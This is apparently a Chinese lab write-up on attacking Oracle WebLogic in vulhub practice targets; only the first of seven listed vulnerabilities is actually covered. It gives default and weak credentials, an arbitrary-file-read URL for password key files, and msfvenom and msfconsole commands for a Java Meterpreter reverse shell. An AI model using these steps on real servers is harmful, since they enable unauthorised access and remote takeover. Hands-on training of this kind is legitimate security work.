当前位置: 首页 > news >正文

网安-中间件-weblogic(updating..)

目录

Weblogic

CVE数据库-weblogic

解密工具

weblogic漏洞综合利用工具(深信服)

实验

1.弱口令、任意文件读取 

漏洞环境:

weblogic常用弱口令:

漏洞描述:

2.CVE-2018-2894 任意文件上传

漏洞环境:

3.CVE-2014-4210 SSRF

漏洞描述:

漏洞环境:

4.CVE-2020-14882 Console远程代码执行

漏洞环境

利用方式

利用流程

5.CVE-2018-2628 T3协议反序列化

6.CVE-2017-10271 XMLDecoder反序列化

7.CVE-2023-21839 JNDI注入


Weblogic

全名:Oracle WebLogic Server,avaEE服务器,商业产品,适用于大型商业项目
同类产品:IBM WebSphere、Apache Tomcat、Redhat Jboss
常见版本:
WebLogic Server 10.x ——11g
WebLogic Server 12.x ——12c
vulhub靶场——基于WebLogic Server 10.3.6
默认端口:7001

CVE数据库-weblogic

https://www.cvedetails.com/vulnerability-list/vendor_id-93/product_id- 14534/Oracle-Weblogic-Server.html
多为反序列化漏洞
参考文章(奇安信CERT)
WebLogic安全研究报告

解密工具

GitHub - TideSec/Decrypt_Weblogic_Password: 搜集了市面上绝大部分weblogic解密方式,整理了7种解密weblogic的方法及响应工具。

weblogic漏洞综合利用工具(深信服)

https://github.com/KimJun1010/WeblogicTool

实验

实验环境

漏洞靶机(CentOS):192.168.6.66
攻击机(Kali):192.168.142.162

docker compose up -d // 拉取、启动
docker compose ps // 查看进程
docker compose stop // 停止

1.弱口令、任意文件读取 

获得密码进后台(密码暴力破解or利用任意文件读取),传马

漏洞环境:

vulhub/weblogic/weakpass

weblogic常用弱口令:

system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123

漏洞描述:

可以读取服务器任意文件。在读取到密钥和密码密文以后,可以AES解密出后台密码。
http://192.168.6.141:7001/hello/file.jsp?path=/etc/passwd

密文绝对路径:

/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

相对路径:

security/SerializedSystemIni.dat

密钥绝对路径:

/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml

相对路径:

config/config.xml

访问url 自动下载了file.htm ,说明这个接口存在任意文件读取

抓包,保存密文,解密

 ?path=/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

 ?path=/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml

 得到密码Oracle@123

用kali2021生成马,传马

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.6.128 lport=4444 -f war -o java.war

监听

msfconsole

use exploit/multi/handler

set payload java/meterpreter/reverse_tcp

set LHOST 192.168.6.128

set LPORT 4444

run

http://www.lryc.cn/news/608512.html

相关文章:

  • 数据结构初学习、单向链表
  • 暑期算法训练.13
  • 什么是DOM和BOM?
  • 智能手表:电源检查
  • 入门MicroPython+ESP32:安装逗脑IDE及驱动
  • JVM 03 类加载机制
  • 堆----1.数组中的第K个最大元素
  • 高效游戏状态管理:使用双模式位运算与数学运算
  • 关于人工智能AI>ML>DL>transformer及NLP的关系
  • springboot大学生成绩管理系统设计与实现
  • NCV8402ASTT1G自保护N沟道功率MOSFET安森美/ONSEMI 过流过温保护汽车级驱动NCV8402ASTT1
  • 动态规划经典模型:双数组问题的通用解决框架与实战
  • Vue3核心语法进阶(computed与监听)
  • 衡石科技实时指标引擎解析:如何实现毫秒级响应万亿级数据的增量计算?
  • 【c#窗体荔枝计算乘法,两数相乘】2022-10-6
  • 【学习笔记】Java并发编程的艺术——第1章 并发编程的挑战
  • Python打卡Day30 模块和库的导入
  • 12:java学习笔记:多维数组1
  • 如何分析Linux内存性能问题
  • 深度学习(鱼书)day09--与学习相关的技巧(前三节)
  • 2025牛客暑期多校训练营1(G,E,L,K,I)
  • 力扣 hot100 Day63
  • 使用 BERT 的 NSP 实现语义感知切片 —— 提升 RAG 系统的检索质量
  • Java试题-选择题(6)
  • 滚珠花键在汽车制造中有哪些高要求?
  • 记录一次Spring Cloud Gateway配置的跨域处理:解决 ‘Access-Control-Allow-Origin‘ 头包含多个值的问题
  • JavaScript将String转为base64 笔记250802
  • GCC(GNU Compiler Collection)与人工智能实例
  • 【前端:Html】--1.1.基础语法
  • [Linux入门] Ubuntu 系统中 iptables 的配置与使用